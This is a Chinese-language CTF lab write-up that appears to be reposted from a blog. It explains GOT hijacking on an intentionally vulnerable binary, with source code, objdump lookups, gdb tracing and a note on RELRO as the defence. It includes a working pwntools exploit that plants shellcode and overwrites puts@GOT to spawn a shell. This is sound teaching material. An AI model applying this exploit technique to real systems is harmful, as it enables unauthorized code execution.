[NTUSTISC pwn LAB 4]gothijacking入门实验
Posted 漫小牛
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[NTUSTISC pwn LAB 4]gothijacking入门实验相关的知识,希望对你有一定的参考价值。
一、要点
- GOT&PLT原理
- GOT hijacking
- RELRO防护机制
二、预备知识
预备知识请参考pwn入门参考资源中的PLT和GOT部分。
三、题目
这是一道栈溢出pwn题,同时不但给出了二进制文件,也给出了源文件:
题目及相关资源的下载地址为:
链接:https://pan.baidu.com/s/1uRyQN1dzA0OLsgcn1UtYjg
提取码:vfdl
本次实验对应Lab4
四、解题过程
1、检查保护机制
checksec存在Canary,就无法平坦的溢出栈空间。
2、运行查看效果
运行该程序,用户有两个输入点,填充大量的11111111,程序未crash,说明canary起了作用,并无栈溢出。
3、静态分析
直接看实验中给出的源码ret2sc.c:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char name[64];
int main()
{
int unsigned long long addr;
setvbuf(stdin, 0, 2, 0);
setvbuf(stdout, 0, 2, 0);
printf("What's you name?\\n");
read(0, name, 0x40);
printf("Where do you want to write?\\n");
scanf("%llu", &addr);
printf("Data: ");
read(0, (char *)addr, 8);
puts("Done!");
printf("Thank you %s!\\n", name);
return 0;
}
checksec中,关掉了PIE和NX,说明代码段可写可执行,就可以利用程序中的name变量,将shellcode写入name结构。canary打开,说明无法用overflow来劫持控制流。
L15的scanf用户输入一个64位的地址,问用户想在哪儿写;
L17在刚才输入的地址中写入8个字节。
既然这道题要做got表hijacking实验,那么可以劫持的只剩下最后的两个函数puts和printf,在实验中,选择puts进行劫持。
4、查找puts函数的plt
在终端中输入如下指令:
objdump -d -M intel gothijack
在pltsection找到puts@plt:
图中,puts的GOT的位置为0x601018,也是要劫持的位置。
5、查找name的虚拟地址
在刚才objdump的代码中,继续找name的虚拟地址,为0x601080:
0x601080是要跳转的位置,将该值写入puts的GOT的地址后,就能劫持该地址,不会执行puts的库函数,而会跳转到shellcode执行。
6、编写exp
编写的exp为:
from pwn import *
r = process('./gothijack')
r.recvuntil('?\\n')
context.arch = 'amd64'
sc = asm(shellcraft.sh())
r.send(sc)
r.recvuntil('?\\n')
r.sendline(str(0x601018)) # put@GOT
r.recvuntil(': ')
r.send(p64(0x601080))
r.interactive()
运行该脚本后,执行ls命令,可以看出已经拿到了shell:
五、gdb动态验证
在exp中r = process(’./gothijack’)的下增加一行代码raw_input():
在当前窗口执行该python脚本,程序会因raw_input()这条语句卡在这里:
再打开另一终端并执行gdb pid 3848,attach到3848进程。
输入ni,切换到执行python脚本的终端,按回车键跳过卡着的位置。再回到gdb的终端,查看puts函数的GOT表和GOT表中所指向的指令:
可看到puts函数已完成了Lazy binding,其实是否Lazy binding我们并不需要考虑,只是在这里验证一下GOT&PLT的原理,最终我们会将这个地址劫持到shellcode。
ni单步一直到read函数,可看到已经传入了三个的参数:
- 第一个参数fd为0,表示stdin;
- 第二个参数是要写入的位置,在read函数调用前,还是puts库函数的地址;
- 第三个参数表示要读入8个bytes。
ni单步,可以看到这个位置已经变为我们刚才写好的shellcode:
ni跟到call puts的位置,按si进入到该函数,可看到第一行jmp直接跳转到shellcode的位置:
按c继续,可看到执行了产生shell的调用:
并拿到了shell:
六、RELRO
relro的保护机制可用于防护gothijacking,其全名为Relocation Read-Only。本题中checksec中为Partial RELRO,这种情况下,GOT可写,即存在GOT hijacking的漏洞,而保护的方式是设置为Full RELRO,这种情况下不会出现lazy binding,在Load time时会将所有funciton resolve完毕,并设置GOT不可写。
以上是关于[NTUSTISC pwn LAB 4]gothijacking入门实验的主要内容,如果未能解决你的问题,请参考以下文章
[NTUSTISC pwn LAB 1]栈溢出:gdb动态调试bof
[NTUSTISC pwn LAB 6]rop&Return to plt实验
[NTUSTISC pwn LAB 2]栈溢出:gdb动态调试bof2
[NTUSTISC pwn LAB 3]栈溢出:返回值跳转到shellcode ret2sc 实验